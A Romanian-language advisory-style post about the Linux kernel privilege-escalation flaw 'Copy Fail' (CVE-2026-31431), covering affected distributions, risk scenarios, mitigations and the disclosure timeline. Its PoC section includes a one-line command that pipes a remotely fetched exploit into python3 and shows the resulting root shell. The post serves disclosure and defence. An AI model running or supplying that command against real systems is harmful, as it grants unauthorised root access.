Română

← Înapoi la listă

732 de octori care sparg orice sistem Linux: o vulnerabilitate epică, ascunsă aproape un deceniu

itadol5j

Vulnerabilitatea Copy Fail

🚨 Vulnerabilitate epică: 732 de octori care sparg orice sistem Linux, ascunsă aproape un deceniu

O vulnerabilitate numită„Copy Fail”a kernelului Linux (CVE-2026-31431) a fost divulgată public:

  • 732 de octori— un script Python
  • 100% fiabil, fără ferestre de cursă (race) sau offset-uri de kernel
  • afectează toate distribuțiile Linux(din 2017 până acum)
  • primitivă de evadare din containere, cu atacuri între chiriași (cross-tenant)
  • latentă aproape un deceniu, divulgată public pe 29 aprilie 2026

Același script funcționează peUbuntu, RHEL, Amazon Linux, SUSE— fără nicio modificare.

🎯 Esența vulnerabilității

Un singur defect logic

Copy Fail este undefect logic direct:

  • Nu necesită fereastră de cursă: spre deosebire de majoritatea LPE-urilor Linux, care necesită curse
  • Nu necesită offset-uri de kernel: nu necesită offset-uri specifice kernelului
  • 100% fiabil: reușește de fiecare dată
  • Același script: funcționează pe toate distribuțiile

Lanțul de atac

Lanțul de atac Copy Fail:

  • Eroare logică authencesn: un bug logic
  • AF_ALG: prin API-ul criptografic al kernelului
  • splice(): apeluri în lanț
  • Scriere de 4 octori în page-cache: primitivul final de atac
  • Exploitabilă aproape un deceniu: din 2017 până la publicarea patch-ului

📊 Domeniul afectat

Distribuții verificate oficial

Distribuție Versiune kernel Stare
Ubuntu 24.04 LTS 6.17.0-1007-aws ✅ Verificat
Amazon Linux 2023 6.18.8-9.213.amzn2023 ✅ Verificat
RHEL 10.1 6.12.0-124.45.1.el10_1 ✅ Verificat
SUSE 16 6.12.0-160000.9-default ✅ Verificat

Alte distribuții afectate

Următoarele distribuțiisunt de asemenea afectate:

  • Debian
  • Arch Linux
  • Fedora
  • Rocky Linux
  • AlmaLinux
  • Oracle Linux
  • Linux embedded

Concluzie: dacă kernelul tău a fost compilat între 2017 și apariția patch-ului —ești afectat.

💡 Scenarii de risc ridicat

Scenariu Risc Impact
Gazde Linux multi-tenant Ridicat Orice utilizator devine root
Clustere Kubernetes / containere Ridicat Atacuri între containere și între chiriași
CI Runner / Build Farm Ridicat Un PR devine root pe runner
Cloud SaaS care rulează cod de utilizator Ridicat Chiriașul devine root pe host
Server Linux standard Mediu LPE intern, ce poate fi înlănțuit în atacuri
Laptop mono-utilizator Scăzut Pas de escaladare de privilegii în post-exploatare

🔧 Măsuri de atenuare

Varianta 1: Actualizarea kernelului (recomandat)

Actualizează kernelul la o versiune care includemainline commit a664bf3d603d:

  • Ce repară patch-ul: revochează optimizarea in-place algif_aead din 2017
  • Efect: paginile din page-cache nu mai apar în scatterlist-ul destination inscriptibil
  • Stare: majoritatea distribuțiilor principale au publicat deja patch-uri

Varianta 2: Dezactivarea modulului algif_aead (temporară)

# 禁用 algif_aead 模块
echo "install algif_aead /bin/false" > /etc/modprobe.d/disable-algif.conf
rmmod algif_aead 2>/dev/null || true

Impactul dezactivării algif_aead

Componentă Impact
dm-crypt / LUKS Neafectat
kTLS / IPsec Neafectat
OpenSSL / SSH Neafectat
Spațiul utilizator AF_ALG Posibil afectat

Concluzie: pentru majoritatea sistemelor, dezactivarea algif_aeadnu are un impact evident.

Varianta 3: Blocarea AF_ALG prin seccomp

Pentru sarcinile de lucru nesigure (containere, sandbox-uri, CI), blochează crearea de socket-uri AF_ALG prin seccomp:

# 检查 AF_ALG 使用
lsof | grep AF_ALG
ss -xa

🚀 Demonstrație PoC

PoC-ul vulnerabilității este public, pentru ca apărătorii să își poată verifica sistemele:

Rulare rapidă

$ curl https://copy.fail/exp | python3 && su
# id
uid=0(root) gid=1002(user) groups=1002(user)

Detaliile PoC

  • Dimensiunea fișierului: 732 de octori
  • Limbaj: doar stdlib Python 3.10+ (os, socket, zlib)
  • Țintă implicită: /usr/bin/su
  • SHA256: a567d09b15f6e4440e70c9f2aa8edec8ed59f53301952df05c719aa3911687f9

Avertisment: scriptul modifică page cache-ul binarului setuid; modificările nu persistă după repornire, dar root shell-ul este real. Nu rula în producție.

📅 Cronologia divulgării

Data Eveniment
2026-03-23 Raportat echipei de securitate a kernelului Linux
2026-03-24 Confirmare inițială
2026-03-25 Propunerea și revizuirea patch-ului
2026-04-01 Patch-ul trimis în mainline
2026-04-22 Atribuirea CVE-2026-31431
2026-04-29 Divulgare publică

🔍 Descoperitor: Xint Code

Vulnerabilitatea a fost descoperită deXint Code:

  • Timp de scanare: aproximativ 1 oră de scanare a subsistemului crypto/ al Linux
  • Metoda de descoperire: audit de cod asistat de AI
  • Analiza completă: root cause, diagrame, operator prompt
  • Alte descoperiri: alte vulnerabilități de gravitate ridicată descoperite simultan, aflate încă în dezvăluire coordonată

Palmaresul Xint Code

  • 0-day RCE: ZeroDay Cloud, mătură întreagă categoria bazelor de date (Redis, PostgreSQL, MariaDB)
  • DARPA AIxCC Top 3: finalista DARPA AI Cyber Challenge
  • DEF CON CTF 9×: cea mai titrată echipă din istoria DEF CON CTF

📝 Concluzie

Copy Fail (CVE-2026-31431) esteo vulnerabilitate epică a kernelului Linux:

  • 732 de octori care sparg orice sistem Linux (din 2017 până acum)
  • 100% fiabilă, un singur defect logic
  • Evadare din containere, atacuri între chiriași
  • Latentă aproape un deceniu, divulgată public pe 29 aprilie 2026
  • Scenarii de risc ridicat: gazde multi-tenant, clustere de containere, CI Runner, SaaS
  • Atenuare: actualizarea kernelului sau dezactivarea algif_aead
  • Descoperitor: Xint Code, audit de cod asistat de AI

O vulnerabilitate epică de aproape un deceniu, un singur script care sparge orice sistem Linux.

Site-ul vulnerabilității:https://copy.fail

PoC pe GitHub:https://github.com/theori-io/copy-fail-CVE-2026-31431

Analiză tehnică:https://xint.io/blog/copy-fail-linux-distributions

Patch kernel:https://git.kernel.org/stable/c/a664bf3d603dc3bdcf9ae47cc21e0daec706d7a5